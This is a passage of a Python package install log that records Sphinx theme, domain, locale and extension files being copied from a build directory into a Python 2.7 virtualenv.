build/lib.linux-x86_64-2.7/sphinx/themes/default/layout.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/default - - copying build/lib.linux-x86_64-2.7/sphinx/themes/default/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/default - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/default/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/default/static/default.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/default/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/default/static/sidebar.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/default/static - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku - - copying build/lib.linux-x86_64-2.7/sphinx/themes/haiku/layout.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku - - copying build/lib.linux-x86_64-2.7/sphinx/themes/haiku/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static/alert_warning_32.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static/bg-page.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static/bullet_orange.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static/alert_info_32.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static/haiku.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku/static - - copying build/lib.linux-x86_64-2.7/sphinx/pygments_styles.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains - - copying build/lib.linux-x86_64-2.7/sphinx/domains/c.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains - - copying build/lib.linux-x86_64-2.7/sphinx/domains/rst.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains - - copying build/lib.linux-x86_64-2.7/sphinx/domains/std.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains - - copying build/lib.linux-x86_64-2.7/sphinx/domains/python.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains - - copying build/lib.linux-x86_64-2.7/sphinx/domains/cpp.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains - - copying build/lib.linux-x86_64-2.7/sphinx/domains/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains - - copying build/lib.linux-x86_64-2.7/sphinx/domains/javascript.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/it - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/it/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/it/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/it/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/it/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/it/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/it/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/it/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/et - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/et/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/et/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/et/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/et/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/et/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/et/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/et/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fr - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fr/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/fr/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fr/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/fr/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fr/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/fr/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fr/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_TW - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_TW/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/zh_TW/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_TW/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/zh_TW/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_TW/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/zh_TW/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_TW/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/cs - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/cs/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/cs/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/cs/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/cs/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/cs/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/cs/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/cs/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lv - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lv/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/lv/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lv/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/lv/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lv/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/lv/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lv/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pl - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pl/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/pl/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pl/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/pl/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pl/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/pl/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pl/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/hr - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/hr/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/hr/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/hr/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/hr/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/hr/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/hr/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/hr/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/bn - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/bn/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/bn/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/bn/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/bn/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/bn/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/bn/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/bn/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sl - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sl/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/sl/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sl/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/sl/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sl/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/sl/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sl/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ko - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ko/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/ko/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ko/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/ko/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ko/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/ko/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ko/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/nl - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/nl/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/nl/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/nl/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/nl/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/nl/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/nl/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/nl/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/es - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/es/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/es/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/es/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/es/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/es/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/es/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/es/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_CN - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_CN/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/zh_CN/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_CN/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/zh_CN/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_CN/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/zh_CN/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_CN/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ca - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ca/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/ca/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ca/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/ca/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ca/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/ca/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ca/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pt_BR - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pt_BR/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/pt_BR/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pt_BR/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/pt_BR/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pt_BR/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/pt_BR/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pt_BR/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/tr - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/tr/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/tr/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/tr/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/tr/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/tr/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/tr/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/tr/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ru - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ru/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/ru/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ru/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/ru/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ru/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/ru/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ru/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/da - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/da/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/da/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/da/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/da/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/da/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/da/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/da/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fa - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fa/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/fa/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fa/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/fa/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fa/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/fa/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fa/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sv - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sv/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/sv/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sv/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/sv/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sv/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/sv/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sv/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fi - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fi/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/fi/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fi/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/fi/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fi/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/fi/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fi/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/de - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/de/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/de/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/de/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/de/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/de/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/de/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/de/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ja - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ja/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/ja/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ja/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/ja/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ja/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/ja/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ja/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/sphinx.pot -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lt - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lt/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/lt/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lt/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/lt/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lt/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/lt/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lt/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ne - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ne/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/ne/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ne/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/ne/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ne/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/ne/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ne/LC_MESSAGES - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/uk_UA - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/uk_UA/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/uk_UA/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/uk_UA/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/uk_UA/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/uk_UA/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/locale/uk_UA/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/uk_UA/LC_MESSAGES - - copying build/lib.linux-x86_64-2.7/sphinx/jinja2glue.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary/templates - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary/templates/autosummary - - copying build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/templates/autosummary/base.rst -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary/templates/autosummary - - copying build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/templates/autosummary/class.rst -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary/templates/autosummary - - copying build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/templates/autosummary/module.rst -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary/templates/autosummary - - copying build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary - - copying build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/generate.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary - - copying build/lib.linux-x86_64-2.7/sphinx/ext/jsmath.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - copying build/lib.linux-x86_64-2.7/sphinx/ext/refcounting.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - copying build/lib.linux-x86_64-2.7/sphinx/ext/viewcode.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - copying build/lib.linux-x86_64-2.7/sphinx/ext/ifconfig.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - copying build/lib.linux-x86_64-2.7/sphinx/ext/autodoc.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - copying build/lib.linux-x86_64-2.7/sphinx/ext/mathjax.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - copying build/lib.linux-x86_64-2.7/sphinx/ext/todo.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - copying build/lib.linux-x86_64-2.7/sphinx/ext/pngmath.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - copying build/lib.linux-x86_64-2.7/sphinx/ext/inheritance_diagram.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - copying build/lib.linux-x86_64-2.7/sphinx/ext/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - copying build/lib.linux-x86_64-2.7/sphinx/ext/intersphinx.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - copying build/lib.linux-x86_64-2.7/sphinx/ext/doctest.py -> 